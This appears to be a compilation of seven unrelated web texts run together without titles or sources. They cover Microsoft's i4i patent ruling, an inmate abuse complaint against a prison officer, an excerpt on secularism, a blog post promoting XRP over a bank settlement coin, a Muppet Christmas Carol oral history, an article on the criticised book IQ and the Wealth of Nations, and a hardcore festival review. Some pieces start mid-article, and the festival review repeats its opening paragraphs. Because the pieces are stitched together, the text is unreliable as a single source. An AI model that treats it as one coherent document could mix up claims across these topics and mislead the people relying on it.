-Microsoft has already appealed the original ruling  A ban on Microsoft selling certain versions of its flagship products Word and Office has begun.  The software firm was made to change elements of the software by US courts after a patent dispute with Canadian firm i4i.  Microsoft said that it had complied with the court's ruling and would now offer "revised software" in the US.  The court ruling means that Microsoft must also pay i4i damages of $290m (£182m).  However, the firm said on 8 January that it had filed another appeal against the injunction.  The firm wants a panel of 11 judges of the United States Court of Appeals for the Federal Circuit to review the case in the hope of overturning the original judgment.  Microsoft has already challenged the ruling once. But in December last year, a panel of three judges rejected its arguments and upheld the original decision of a Texas court that ruled that Microsoft had infringed a patent belonging to i4i.  The disputed patent relates to how Microsoft file formats, such as .docx, use aspects of XML, a language that allows formatting of text and makes files readable across different programs.  XML is used in recent versions of Microsoft's word-processor Word.  Microsoft has now removed the disputed feature from all available versions of Microsoft Word and Microsoft Office on sale in the US from today.  "This process will be imperceptible to the vast majority of customers," the firm said in a statement.  Despite the firm's compliance, Microsoft has said it will still challenge the case.  Kevin Kutz, director of public affairs at Microsoft, said the latest appeal had been filed because the firm believed the decision in December conflicted with "established precedents governing trial procedure and the determination of damages".  "We are concerned that the decision weakens judges' authority to apply appropriate safeguards in future patent trials," he added.
-That year, Mr. Corley was in a visiting room with his wife when Simon Prindle, a New York State corrections officer, ordered him to leave the room and stand against a wall with his legs spread because he wanted to make sure Mr. Corley did not have an erection, according to the complaint.  Officer Prindle, the complaint says, then “paused to fondle and squeeze Mr. Corley’s penis,” and threatened Mr. Corley when he objected. Mr. Corley had nightmares after the episode, and filed a grievance, but did not get anywhere with it, according to the complaint.  Four days later, the complaint says, Officer Prindle stopped Mr. Crawford as he left the prison’s dining hall after lunch. While searching him, Officer Prindle “grabbed” Mr. Crawford’s penis, asking “What’s that?” According to the complaint, Mr. Crawford said: “That’s my penis, man. What the hell are you doing?” Officer Prindle continued to press Mr. Crawford against the wall, “squeezed and roamed” with his hands around the inmate’s genitals, and threatened to send him to solitary confinement if he resisted. Mr. Crawford subsequently went to a therapist to report the episode and seek treatment.  Inmates at the prison filed more than 20 grievances against Officer Prindle, saying that he had sexually abused or harassed them by, among other things, directing prisoners to bend over and spread their buttocks for a proper anal-cavity search, said Zachary Margulis-Ohnuma and Adam D. Perlmutter, lawyers for Mr. Corley and Mr. Crawford.  In 2014, Norman A. Mordue, a federal judge in the Northern District of New York, dismissed the men’s case. He cited a 1997 Second Circuit opinion, Boddie v. Schnieder, as establishing the standard for the sexual abuse that must occur for prisoners to claim a violation of their Eighth Amendment rights.
-Secularists are not atheists Secularism is about separating church and state, not disbelief. Mixing it up with atheism serves only the right  Secularism leaves the mystery of deity to the chartered imagination of man, and does not attempt to close the door of the future, but holds that the desert of another existence belongs only to those who engage in the service of man in this life. —George Jacob Holyoake, “English Secularism”  American secularism has lost control of its identity and image. That’s because the equation secularism = atheism is rapidly gaining market share. It is increasingly employed in popular usage, political analysis, and even scholarly discourse. This formula is muscling out an infinitely more accurate understanding of secularism as a political philosophy about how the state should relate to organized religion. If this association prevails, if secularism simply becomes a synonym for atheism, then secularism in the United States will go out of business.  Advertisement:  Which is fine by the Revivalists and which may account for why they perpetuate this confusion. In these circles secularism has become another word for godlessness. As one journalist perceptively observes, “secular” is a “code in conservative Christian circles for ‘atheist’ or even ‘God-hating’ . . . conjur[ing], in a fresh way, all the demons Christian conservatives have been fighting for more than 30 years: liberalism, sexual permissiveness, and moral lassitude.”  Not only foes draw this link, but friends as well. The website of the Secular Coalition for America describes the group as “a 501(c)4 advocacy organization whose purpose is to amplify the diverse and growing voice of the nontheistic community in the United States.” This community, it points out, is comprised of “atheists, agnostics, humanists, freethinkers, and other nontheistic Americans.” An affiliated organization, the Secular Student Alliance, refers to its mission as “to organize and empower nonreligious students around the country.”  Why must so-called secular organizations be focused exclusively on nonbelievers? After all, just a few decades back, in secularism’s mild separationist golden age, all sorts of religious believers could have been categorized as secularists. The term could refer to a Baptist, a Jew, a progressive Catholic, a Unitarian, and so on. Also, there were secular identities that didn’t make any reference to a person’s religious belief or lack thereof. A secularist might just as likely have been a public school teacher, a journalist, a civil rights activist, a professor, a Hollywood mogul, a civil libertarian, a pornographer, and so forth. From the 1940s to the 1980s all of the aforementioned groups mobilized on behalf of secular causes, the most prominent being separation of church and state.  Aside from being preposterously imprecise, the equation secularism = atheism gravely undermines the potential of secularism as a political movement. It leaves people of faith with little incentive to buy in and reduces secularism’s personnel to the size of the tiny American atheist movement.  This equation poses a serious public relations problem as well. The atheist movement is not just small, but it is also among the least popular groups in the United States. A survey in 2007 found that respondents viewed nonbelievers more unfavorably than any other cohort they were asked about. This included Muslims, whom the atheists somehow edged out by 18 percentage points. If atheists are perceived to “own” secularism, its approval ratings will plummet even further.  This is certainly not the fault of atheists, the vast majority of whom are tolerant, self-critical, and moderate in their outlook (that is, secularish). And were a true secular movement to be forged, it should make the eradication of anti-atheist prejudice integral to its platform. The fact remains, however, that the more secularism becomes narrowly equated with atheism, the less it will be able to forge coalitions and pursue its agenda effectively.  Advertisement:  Which brings us, then, to the aforementioned impending bankruptcy. The growing popularity of the secularism = atheism equation has to do with the advent of a group known as the New Atheists. Incensed by the political and cultural might of the Revivalists, this movement crashed into the public square in 2004. The result included enviable book sales, preposterous polemics, and the almost overnight development of a national media platform.  Yet instead of honing their powers of critique on anti-secular Revivalists, the New Atheists advanced a mixed-martial-arts assault on religion in general. They gleefully (and catastrophically) set about pitting nonbelievers against all believers. They thus included in their onslaught the one constituency in whose hands the future of secularism lies: religious moderates. The New Atheist creed maintains that moderates are just as dangerous and misguided as their extremist co-religionists.  Here is Sam Harris, offering his characteristically subtle take on the question: “Religious moderates are, in large part, responsible for the religious conflicts in our world, because their beliefs provide the context in which scriptural literalism and religious violence can never be adequately opposed.” Richard Dawkins, in “The God Delusion,” includes a self-explanatory section titled “How ‘Moderation’ in Faith Fosters Fanaticism.” “Even mild and moderate religion,” he avers, “helps to provide the climate of faith in which extremism naturally flourishes.” Surely a school of thought that can’t distinguish between a member of the Taliban beheading a journalist and a Methodist running a soup kitchen in Cincinnati is not poised to make the sound policy decisions that accrue to the good of secularism.  The precise relation of atheism to secularism needs to be teased out and explained to the general public. This is actually an old dilemma, one that was debated a century and a half ago. There, the possibility was raised that the passions of extreme atheism tend to muck up the agenda of secularism.  Advertisement:  Secularism Born Again?  Opinions differ as to when secularism was born. One approach focuses on Christian premodernity and identifies Paul and Augustine as having laid down the initial tracks of the secular vision. The second, which is preferable, points to the high-speed thought corridor that stretched from the Reformation to the Enlightenment. It was there, in early modernity, that the Luther-Locke-Jefferson line carried the secular vision into the sunlight of Reason.  Others, however, identify a completely different starting point: the winter of 1851, when the Englishman George Jacob Holyoake (1817–1906) recalls having coined the word secularism (his contribution being the suffixing of that -ism onto the word secular). He shared that recollection in a book written forty-five years later, so, unless his memory was flawless, perhaps we should not canonize the precise date. Suffice it to say that secularism experienced a third and auspicious birth sometime during the mid-nineteenth century.  Advertisement:  For some it is Holyoake, not Jefferson, nor Locke, nor Luther, who is the true father of secularism. And if secularism suffers from a definitional crisis today, let us note in passing that to him must be ascribed some responsibility for that as well. In his works, such as The Principles of Secularism of 1871, he somehow managed to define secularism in about a dozen different ways.  This complex figure lived a long and tumultuous life in what must have been a very interesting era to think outside the confines of Christianity. The viselike grip of ecclesiastical control was clearly loosening in Victorian England. This context provided a perfect, though not necessarily risk-free, environment for Holyoake and countless other “infidels” to mount a ferocious attack on the status quo.  In his youth, Holyoake was a relentless critic of Christianity. Like so many Victorian dissenters, he spent time in jail for blaspheming. In 1843 he bitterly, but eloquently, recounted the tale of his imprisonment in his essay “A Short and Easy Method with the Saints.” There, the twenty-five-year-old protests that “religion is ever found the mother of mental prostration, and the right arm of political oppression.”  Advertisement:  Holyoake was understandably enraged at having been thrown in a dungeon for an off-the-cuff poke at Christianity he had made while taking questions after a lecture. He complained that this religion forces the concession of “man’s noblest right, the right of expressing his opinions.” “Infidels have never received anything from Christians,” he broods, “but calumny, contempt, insult, imprisonment, and death.”  As he aged, however, Holyoake’s views would mellow and evolve in ways that make him difficult to categorize. In his early life he threw his lot in with atheism, but one scholar sees him drifting to agnosticism in his old age. Another writer refers to him as a “lukewarm” atheist and notes that Holyoake “was sympathetic to religion.” He saw secularism as a worldview or system of ethics that moved to- ward knowledge of God insofar as it assiduously strived to discover the truth. Holyoake, for his part, endorsed an “atheism of reflection,” which “listens reverentially for the voice of God, which weighs carefully the teachings of a thoughtful Theism; but refuses to recognize the officious, incoherent babblement of intolerant or presumptuous men.”  This calls attention to a very important truth about self-professed atheists in the nineteenth century and most likely today as well: rather than having a fixed lifelong identity as deniers of God’s existence, there is a recurrent fluctuation in their thought. Individual atheists change across the course of a lifetime.  Should this be surprising? People change. Theists change. Atheists change. The latter are not godless every minute of their lives. Nor are the former lacking in doubts. Extreme theists and extreme atheists insist on locking people into one fixed identity. But atheist identity is always in flux. How to be secular? In matters metaphysical, keep an open mind or, as we shall see later, “don’t get overwrought.”  Advertisement:  In any case, Holyoake refined and defended his thought about secularism across more than a half-century of published work. His initial comment from 1851, referenced earlier, maintained that “secular” connoted “principles of conduct, apart from spiritual considerations.” Gaining attention and growing in stature, the rising star would publish a book a few years later called Principles of Secularism. There he offered up a plethora of definitions. It is hard to pinpoint which understanding of his subject he preferred, but the following would seem to represent his view well: “Secularism is the study of promoting human welfare by material means; measuring human welfare by the utilitarian rule, and making the service of others a duty of life. Secularism relates to the present existence of man. . . [it is] a series of principles intended for the guidance of those who find Theology indefinite, or inadequate, or deem it unreliable.”  Holyoake’s sympathetic readers were variously confused, elated, or angered by this definition. Let’s begin with confusion: a passenger on the Luther-Locke-Jefferson line might be justifiably flummoxed. Where is the reference to order? The state? The church? In truth, political conceptions of secularism were always an afterthought for Holyoake. He did occasionally contemplate the role of government, as when he wrote, “The State should forbid no religion, impose no religion, teach no religion, pay no religion.”  Ethicists, however, might be elated by a definition that placed the accent of secularism on moral behavior instead of politics. Holyoake, as we have seen, spoke of principles that were to guide secularists, what he called “a code of duty pertaining to this life.” Foremost among them were the following mantra-like propositions: (1) “the improvement of this life by material means,” (2) “science is the avail- able Providence of man,” and (3) “it is good to do good.”  Holyoake’s definition(s) not only stressed ethics, but ethics geared to the present. “Secularity,” he commented, “draws the line of separation between the things of time and the things of eternity. That is Secular which pertains to this world.” The emphasis on ethical action in the here and now is constant through all of Holyoake’s thinking. Holyoake went so far as to opine, “Giving an account of ourselves in the whole extent of opinion . . . we should use the word ‘Secularist’ as best indicating that province of human duty which belongs to this life.”  Advertisement:  Thus far we have encountered two species of definitions of secularism: the political and the ethical. The political was born of the Reformation and the Enlightenment. It stresses the relation between religious institutions and government. Its bearers were our five visionary architects. The ethical definition was engendered by Holyoake and later on we will note its affinities with the thought of Saint Augustine. We would add, parenthetically, that Holyoake’s approach has lived a long and healthy life in dictionaries and encyclopedias in the entry titled “Secularism.” Curiously, many reference books tend to favor this ethical definition over the older political one that developed in Christian political philosophy.  Among those who were chagrined by Holyoake’s approach would be the small but growing band of Victorian infidels for whom he was a hero and leader. True, Holyoake would earn their respect by championing the cause of freedom of expression (a huge issue for an out- spoken population that had a knack for getting thrown in the clink). But why didn’t his definition reference infidelity or atheism or agnosticism or some such thing?  Holyoake intentionally omitted any reference to atheism in his definition of secularism. To understand why is to glimpse a credible alternative to the extreme forms of atheism that are coming to dominate secularism today.  Excerpted from "How to Be Secular" by Jacques Berlinerblau. Copyright © 2012 by Jacques Berlinerblau. Used by permission of Houghton Mifflin Harcourt Publishing Company. All rights reserved.
-UBS, Deutsche Bank, Santander and BNY Mellon announced their “utility settlement coin,” a new digital asset they hope will become the industry standard for blockchain settlements. They expect banks will initially use the coin for post-trade settlement and clearing by early 2018, after they secure blessing from regulators and central banks.  While this development signals significant market traction for an institutional use of digital assets, I have to say it’s deeply misguided. A bank-issued digital asset can only really efficiently settle between the banks who issued it. Then, two scenarios can play out.  Scenario one: all banks around the world put aside competitive and geopolitical differences, adopt the same digital asset, agree on its rules, and harmoniously govern its usage. Fat chance.  Scenario two (the more likely scenario): banks not in the issuing group issue their own digital assets with their own sets of rules and governance.  We’re kinda seeing this already, as the FT points out, with Citi’s Citicoin and Goldman Sachs’ SETLcoin. The result would be an even more fragmented currency landscape than what we have today. If banks of different digital asset groups want to settle trades with one another, they’ll have to make markets between their unique digital assets or trade between their digital assets and a common fiat currency. What a mess!  The second big problem with the “utility settlement coin” is it seems it’ll be backed by a basket of currencies. Once backed by cash, it’s no longer an asset; it’s a liability. Trading liabilities then ultimately requires moving cash across borders, re-creating today’s system but adding more friction!  We strongly believe banks need an independent digital asset to enable truly efficient settlement and we believe XRP is best positioned for that role. It goes back to the fundamentals of what makes digital assets unique and special - they’re universal currencies, meaning anyone can use them as units of value anywhere in the world. That universality gives digital assets global reach and the ability to settle much faster than traditional assets.  Compared head to head with other independent digital assets (like bitcoin or ether), XRP settles the most efficiently cross-border, in just seconds. In fact, we’ve run tests with global banks to prove XRP can lower liquidity costs for cross-border trades. More to come on that front.
-Brian Henson, director  My father, Jim, passed away in 1990. He had done three Muppet movies, and I didn’t want too much of a direct comparison between me and my dad. So I thought: “Let’s do something different.” Our agent, Bill Haber, said to me: “Christmas Carol is the greatest story of all time, you should do that.” While I was thinking about it, he called me back and said: “I’ve sold it to the ABC TV channel.”  We set to work on the script. The Muppets are famous for questioning the status quo, and anti-establishment irreverence, so we took that and pointed it at Charles Dickens. Robin the Frog was going to be the ghost of Christmas past, Miss Piggy was going to be this bacchanalian ghost of Christmas present, and Animal was going to be the ghost of Christmas yet to come. We were going to do a romping parody.  Then we stopped and reconsidered. Nobody had ever captured Dickens’s prose – the wonderful way he described the scenes. So we had to put Charles Dickens in the movie. Who’s the least likely character to be Charles Dickens? Gonzo! So we made him this omniscient storyteller, with Rizzo his pain-in-the-neck sidekick. Ninety-five percent of what Gonzo says in the movie is directly taken from the book.  When I met Michael Caine to talk about playing Scrooge, one of the first things he said was: “I’m going to play this movie like I’m working with the Royal Shakespeare Company. I will never wink, I will never do anything Muppety. I am going to play Scrooge as if it is an utterly dramatic role and there are no puppets around me.” I said: “Yes, bang on!” He was intimidating to start with, but he’s a delight.  Filming it was completely terrifying. I was 28 – I did not feel ready to do a movie. I begged other people to direct. Jeffrey Katzenberg could see that it was an emotionally fragile environment, and he kept his production department away from me. When Scrooge comes home and he’s an angry, lonely man, and the first ghosts show up, I knew I was going to scare people. There were kids crying in the cinemas [when the film was released in 1992]. But then when Jacob Marley and his brother Bob come out, they’re singing the catchiest tune in the movie. You need to go to those dark places for the ending to be as joyous as it can be.  Facebook Twitter Pinterest The Muppets with Michael Caine. Photograph: Disney/Sportsphoto Ltd/Allstar  Steve Whitmire, performer, Kermit and Rizzo  I was taking over from Jim as Kermit, which was a little scary, as you might imagine. It was important not only to match Kermit’s character, but also his voice. Jim and I don’t sound exactly alike, and the night before we pre-recorded the songs, I had a lot of trouble getting to sleep, thinking: “I really want this to be good, this means so much to everybody.”  Then I had a bizarre dream. I was in this building that was all white, and Jim was there. He comes over to me, in a hurry to get somewhere quickly. I said to him: “I’m really nervous about taking over Kermit.” He looked at me. Jim would do this thing where he would take one finger and put it on his bottom lip as he was thinking – he thought like this for a second and said: “It’ll pass.” And he walked away. It felt much more like a visit than a dream. The feeling from that gave me confidence for the whole film.  Watch a clip from The Muppets' Christmas Carol Read more  Bob Cratchit was a natural role for Kermit, the caring person who looked after people. He was almost playing himself. I also performed Rizzo the Rat, a character I had originated and had been doing for a dozen years by that point, which was all goofing around – it was a great release. When the director said “Cut”, the characters stay alive for a while at the end of the scene, and they continue to talk: “How was that? Did we do a good job?” Plus some comments I can’t put out for public consumption. Various scenes came out of that improvisation.  Kermit is an extremely simple puppet – he’s just a piece of fabric draped over the performer’s hand. I’ve really worked to expand the amount of expression you can create with him. On our new show, we’ve had Kermit talk out of the side of his mouth, and Kermit’s smile is something that Jim really didn’t do.  On my best days, I have this sense that I’m channelling Jim in some way. We and Kermit all share a dualistic view on life, where the good stuff and the bad stuff equals itself out. Kermit looks for equanimity in things: he sees the best in people, and sees the worst in people, and nurtures them beyond that without criticising them. It’s the way Jim was, and it’s the way I’ve tried to operate in my own life as well.  Dave Goelz, performer, Gonzo and Waldorf  Jim kept a gruelling schedule, but every meeting with him, even if it was with his accountants, was full of laughter. The idea of him being stricken was the furthest thing from our minds. He died very suddenly, and we were just flattened by it. Brian called a meeting to see whether we wanted to continue without Jim. And every single one of us said: “It just feels like our life’s work, and we’d like to try and go ahead.” That was about 5pm on the day he died.  Facebook Twitter Pinterest Bob Cratchit (Kermit) with Tiny Tim (Robin the Frog) in The Muppet Christmas Carol. Photograph: Disney/Sportsphoto Ltd/Allstar  By the time the work on Christmas Carol started, the really intense grieving was done. It was such a soulful piece, and a chance to carry on the heart of Jim’s work: the idea that people were basically good, and there was enough in the world for everyone. It was cathartic. Brian was incredibly good, right from the beginning. Michael Caine got halfway through the film before he found out it was Brian’s first time directing – he couldn’t believe it.  The Muppets are a big psychodrama where you feed your personality and fears through your characters. I usually search for a flaw of mine I can use for comedy, and then I try to find a way to make it lovable – for example, the clumsy Travelling Matt character in Fraggle Rock came out of wanting to preserve my dignity and not be shamed in front of people.  It was the same with Gonzo. When he appeared in the 1970s, he was really pathetic, he didn’t have much confidence. And that came from me. I had suddenly found myself in showbusiness and I thought: “How did I get here from the sofa? I have no idea how to do this.” So I asked Jim Henson if I could build a new Gonzo with an eye mechanism that could allow him to look excited – this was his second phase, with this zany, bombastic appreciation for life.  Then, in the early 80s, I started therapy and it really transformed me, and Gonzo, too. I had always seen myself as not having children, and then people would bring their kids to the set of Fraggle Rock, and I found myself tearing up. I ended up getting married and having two wonderful kids. I was unlocking my emotions. When the screenwriter of Christmas Carol, Jerry Juhl, cast Gonzo as the wise Charles Dickens, that ushered in Gonzo’s soulful phase.  Bah, humbug! The many faces of Scrooge Read more  Playing the heckler Waldorf though, one of Jim’s characters – I was reluctant. Of course, I wanted to be supportive, but really I wanted Jim to come back instead. For the following 15 or 16 years I did Waldorf, I just thought: “I’m a placeholder.” I didn’t ad lib, I just did the dialogue. And then one day it occurred to me I had done Waldorf longer than Jim had, and that Jim was not coming back. So I might as well try to own it.  I’ve never been able to watch Christmas Carol dry-eyed. The comedy deepens the emotion – it ambushes you. It remains my favourite film we’ve done by a good margin. It’s such a powerful piece of literature, and to be able to do it with our goofy characters and make it work, it’s a huge satisfying success.  • The Muppet Christmas Carol airs on Sky Movies Christmas over the holiday period
-IQ and the Wealth of Nations is a 2002 book by psychologist Richard Lynn and political scientist Tatu Vanhanen.[1] The authors argue that differences in national income (in the form of per capita gross domestic product) are correlated with differences in the average national intelligence quotient (IQ). They further argue that differences in average national IQs constitute one important factor, but not the only one, contributing to differences in national wealth and rates of economic growth.  The book has drawn widespread criticism from other academics. Critiques have included questioning of the methodology used, the incompleteness of the data, and the conclusions drawn from the analysis.[2][3] The 2006 book IQ and Global Inequality is a follow-up to IQ and the Wealth of Nations by the same authors.  Outline [ edit ]  The book includes the authors' calculation of average IQ scores for 60 countries, based on their analysis of published reports. It reports their observation that national IQ correlates with gross domestic product per capita at 0.82, and with the rate of economic growth from 1950–1990 at 0.64.  The authors believe that average IQ differences between nations are due to both genetic and environmental factors. They also believe that low GDP can cause low IQ, just as low IQ can cause low GDP. (See Positive feedback).  The authors write that it is the ethical responsibility of rich, high-IQ nations to assist poor, low-IQ nations financially, as it is the responsibility of rich citizens to assist the poor.  National IQ estimates [ edit ]  The result claims that Hong Kong has the highest national IQ estimate with 107, followed by South Korea with 106.[1]  Central to the book's thesis is a tabulation of what Lynn and Vanhanen believe to be the average IQs of the world's nations. Rather than do their own IQ studies, the authors average and adjust existing studies and use other methods to create estimates.  For 104 of the 185 nations, no studies were available. In those cases, the authors have used an estimated value by taking averages of the IQs of neighboring or comparable nations. For example, the authors arrived at a figure of 84 for El Salvador by averaging their calculations of 79 for Guatemala and 88 for Colombia. Including those estimated IQs, the correlation of IQ and GDP is 0.62.  To obtain a figure for South Africa, the authors averaged IQ studies done on different ethnic groups, resulting in a figure of 72. The figures for Colombia, Peru, and Singapore were arrived at in a similar manner.  In some cases, the IQ of a country is estimated by averaging the IQs of countries that are not actually neighbors of the country in question. For example, Kyrgyzstan's IQ is estimated by averaging the IQs of Iran and Turkey, neither of which is close to Kyrgyzstan—China, which is a geographic neighbor, is not counted as such by Lynn and Vanhanen. This is because ethnic background is assumed to be more important than proximity to other nations when determining national IQ.  To account for the Flynn effect (an increase in IQ scores over time), the authors adjusted the results of older studies upward by a number of points.  Scores that do not support the theory [ edit ]  In several cases the actual GDP did not correspond with that predicted by IQ. In these cases, the authors argued that differences in GDP were caused by differences in natural resources and whether the nation used a planned or market economy.  One example of this was Qatar, whose IQ was estimated by Lynn and Vanhanen to be about 78, yet had a disproportionately high per capita GDP of roughly USD $17,000. The authors explain Qatar's disproportionately high GDP by its high petroleum resources. Similarly, the authors think that large resources of diamonds explain the economic growth of the African nation Botswana, the fastest in the world for several decades.  The authors argued that the People's Republic of China's per capita GDP of at the time roughly USD $4,500 could be explained by its use of a communist economic system for much of its recent history. The authors also predicted that communist nations whom they believe have comparatively higher IQs, including China and North Korea, can be expected to rapidly gain GDP growth by moving from centrally planned economies to more capitalist based economic systems, while predicting continued poverty for sub-Saharan African nations no matter what economic systems are used.  Reception and impact [ edit ]  Map depicting average IQ values as presented in the follow-up scientific study, 'Intelligence and the Wealth and Poverty of Nations'.  Several negative reviews of the book have been published in the scholarly literature. Susan Barnett and Wendy Williams wrote that "we see an edifice built on layer upon layer of arbitrary assumptions and selective data manipulation. The data on which the entire book is based are of questionable validity and are used in ways that cannot be justified." They also wrote that cross country comparisons are "virtually meaningless."[4]  Richardson (2004) argued, citing the Flynn effect as the best evidence, that Lynn has the causal connection backwards and suggested that "the average IQ of a population is simply an index of the size of its middle class, both of which are results of industrial development". The review concludes that "This is not so much science, then, as a social crusade."[3] A review by Michael Palairet criticized the book's methodology, particularly the imprecise estimates of GDP and the fact that IQ data were only available for 81 of the 185 countries studied. However, the review concluded that the book was "a powerful challenge to economic historians and development economists who prefer not to use IQ as an analytical input", but that it's likely those scholars will deliberately ignore this work instead of improving it.[5]  By economists [ edit ]  In a book review for the Journal of Economic Literature, Thomas Nechyba wrote that "such sweeping conclusions based on relatively weak statistical evidence and dubious presumptions seem misguided at best and quite dangerous if taken seriously. It is therefore difficult to find much to recommend in this book."[6]  Writing in the Economic Journal, Astrid Oline Ervik said that the book may be "thought provoking", but there is nothing that economists can learn from it. She criticized the book's authors for not establishing cross country comparability and reliability of IQ scores, for relying on simple bivariate correlations, for not considering or controlling for other hypotheses, and for confusing correlation with causation. Ervik stated, "The arguments put forward in the book to justify such comparisons [between the average IQ in different countries and their GDP] seem at best vague and unconvincing. At worst, passages in the book appear to be biased and unscientific...The authors fail to present convincing evidence and appear to jump to conclusions."[7]  Edward Miller, an economics professor who has published many controversial papers on race and intelligence, gave the book positive reviews in two different white nationalist publications, the Journal of Social, Political, and Economic Studies and The Occidental Quarterly.[8][9]  Criticism of data sets [ edit ]  Some criticisms have focused on the limited number of studies upon which the book is based. The IQ figures are based on 3 different studies, one study in 34 nations, and two studies in 30 nations. There were actual tests for IQ in 81 nations. For 104 nations there were no IQ studies at all and IQ was estimated based on IQ in surrounding nations.[2] The limited number of participants in some studies has also been criticized. A test of 108 9- to 15-year-olds in Barbados, of 50 13- to 16-year-olds in Colombia, of 104 5- to 17-year-olds in Ecuador, of 129 6- to 12-year-olds in Egypt, and of 48 10- to 14-year-olds in Equatorial Guinea, all were taken as measures of national IQ.[3]  Denny Borsboom argued that mainstream contemporary test analysis does not reflect substantial recent developments in the field and "bears an uncanny resemblance to the psychometric state of the art as it existed in the 1950s". For example, he argued that IQ and the Wealth of Nations, in order to show that the tests are unbiased, uses outdated methodology – if anything, indicative that test bias exists.[10] Girma Berhanu, in an essay review of the book, concentrated on the discussion of Ethiopian Jews. The review criticized the principal assertion of the authors that differences in intelligence, attributed to genetics, account for the gap between rich and poor countries. Berhanu criticized the book as being based in a "racist, sexist, and antihuman" research tradition and alleged that "the low standards of scholarship evident in the book render it largely irrelevant for modern science".[11]  In addition, some people have argued that Lynn deliberately ignored samples or studies that found higher IQs in sub-Saharan Africa, and only used data that provided especially low IQs. For example, in one study from Nigeria that involved seven samples, Lynn only used results from the two lowest scoring samples. Lynn did not provide an explanation about why the 5 highest scoring samples were ignored.[12]  Impact on psychology [ edit ]  In 2006, Lynn and Vanhanen followed IQ and the Wealth of Nations with their book IQ and Global Inequality, which contained additional data and analyses, but the same general conclusions as the earlier book. Discussing both books, Earl Hunt writes that although Lynn and Vanhanen's methodology and conclusions are questionable, they deserve credit for raising important questions about international IQ comparisons. Hunt writes that Lynn and Vanhanen are correct that national IQs correlate strongly with measures of social well-being, but they are unjustified in their rejection of the idea that national IQs could change as a result of improved education.[13]  See also [ edit ]
-Somebody recently told me that hardcore is dead. Through chipped teeth and bruised bones, I will promise you it is not.  I turned a corner into an alley on 18th street this past Friday afternoon to find a considerable crowd gathered together for the same purpose. The place: Alleykatz; the purpose: United Blood, Richmond’s fourth annual hardcore festival.  Gritty as hell and DIY to the core, United Blood gathers hardcore fans from all over the country, even as far as Europe and Asia, for two days of undeniably fun chaos, the realest kind of unity I’ve ever seen, and of course, skull-rattling, gut-pumping music.  Somebody recently told me that hardcore is dead. Through chipped teeth and bruised bones, I will promise you it is not.  I turned a corner into an alley on 18th street this past Friday afternoon to find a considerable crowd gathered together for the same purpose. The place: Alleykatz; the purpose: United Blood, Richmond’s fourth annual hardcore festival.  Gritty as hell and DIY to the core, United Blood gathers hardcore fans from all over the country, even as far as Europe and Asia, for two days of undeniably fun chaos, the realest kind of unity I’ve ever seen, and of course, skull-rattling, gut-pumping music.  Now I myself am not a dedicated hardcore fan, but I believe that good is good, and these truly were some of the best hardcore bands in the country. The first band I caught was Alpha and Omega from Los Angeles, CA. A rhythm section that reverberates straight up the spine, guitar tones straight out of hell, and a front man with a snarl like a kick in the teeth made this band the perfect introduction to an awe-inspiring weekend. Notables included hard-as-nails War Hungry and lightweight bad-asses Title Fight, both from Pennsylvania, as well as local heroes Swamp Thing, Naysayer and Wasted Time, and Boston’s resident nutcases The Rival Mob. The dual headliners were Connecticut’s Death Threat and New York’s hardcore veterans Madball.  I got a chance to talk with Collin Ackerman, co-founder of United Blood (along with David Foster, a native Richmonder now located in PA), and he had this to say:  Me: When did you start United Blood?  Collin: In 2007, it started small. The headliners were DTN, Bracewar, and Have Heart. It was just a small little thing. It’s probably doubled since we started. The past two years, we’ve had over 800 people.  Me: How did this thing come about?  Collin: There’s a fest in PA called Posinumbers, one of Foster’s friends, Bob Mac, was running it, and it stopped happening a couple years ago. We figured “There’s no reason we shouldn’t have this here, Richmond’s a great town and we have a great spot for it. Let’s try it and see what happens.” We just took a shot and it worked. Without Foster, though, there wouldn’t be this thing. Foster and I pretty much split everything up, doing our own paypal accounts for ticketing, booking all the bands, getting food and contracts for the bands, all of the promotions and everything  Me: So everything was pretty DIY, huh?  Collin: Yeah, no sponsors. We made a pact four years ago that we’d never have sponsors, we do everything ourselves and with the help of our friends, of course. It affects my life a lot, I meet kids from all over the world that I would never meet otherwise. All I care about is that people are having fun, I probably get made fun of for asking everybody that so much.  Me: What about the connotations that hardcore can be violent and hateful?  Collin: Honestly, it’s aggressive just like any other art form can be, but nobody has any bad intentions for the most part. Nobody’s out to get anybody, it’s just about getting what’s inside of you out. I don’t think it’s any different from Slaughterama or Best Friend’s Day, which I love and go to. In all four years, we’ve had maybe one fight, but fights happen at Beach Boys concerts too.  Me: Anything else to say?  Collin: Thanks to everybody that comes out and has fun, thanks to all the bands, thanks to you guys for covering it. I want everybody to have the opportunity to get exposure to things they don’t normally see. And check out Vinyl Conflict Records, that dude hooked us up a lot this year.  All weekend, what I was really overcome by, and Collin touched on it as well, was how positive and community driven of an event United Blood is. One would look at the rolling, growling mass of tattoos and black eyes with abject horror, until noticing that for every one person that fell, there were two or three raising them back up. Between songs and sets there was a smile on almost every face, a real “I’m just so fucking happy to be here” smile. Another little thing that struck me was that every band that I saw perform was sporting the t-shirt of another band at the festival, as well as giving shout outs to all the other bands, small but inspiring. People came from all over the country to see their friends, have a great time, and support something that they all care very much about. This, my friends, is what I call love.  Towards the end of the last set that I saw, I looked down at the pit and knew I had one thing left to do before my experience was complete. I handed off my camera to a friend and shouted something inaudible that probably sounded like “fuck you dad!” as I dove into the crowd. I lasted about twenty seconds before my entire world exploded momentarily. Intentional or not, I got rocked in the face so hard that I can only imagine it looked like a UFC highlight reel. After crumpling like a pile of rags, I jumped back to my feet and into the fray, trying to ignore my wobbly-knees and what I thought to be sand in my mouth (it was actually tiny tooth fragments). In retrospect, the guy that gave me my first black eye in years probably thought I was some asshole nube, which is fair enough on his part, but to me, getting knocked the fuck out was equal to a firm shake of the hand and a “welcome to the club.”  For those of you that still haven’t been to United Blood, I will say that like it or not, hardcore is a part of Richmond’s identity, and it’s well worth the price of admission to see what locals and out of towners alike have put so much time, effort, and care into creating. I am truly stoked to live in a town that produces the kind of diversity that exists in our art and music scene. To those that did make it this year, I’ll see y’all at United Blood 5.  P.S. I’d like to say thank you to all the bands (every single one, not just those mentioned above), photographers, staff, fans, and of course Alleykatz for putting on such a great show and making this such a memorable event, you really exemplify what true dedication and hard work is all about, while still having a fucking good time. Don’t forget to check our Flickr feed for more great pictures from the show, click here for a full list of the bands at this years United Blood Fest.
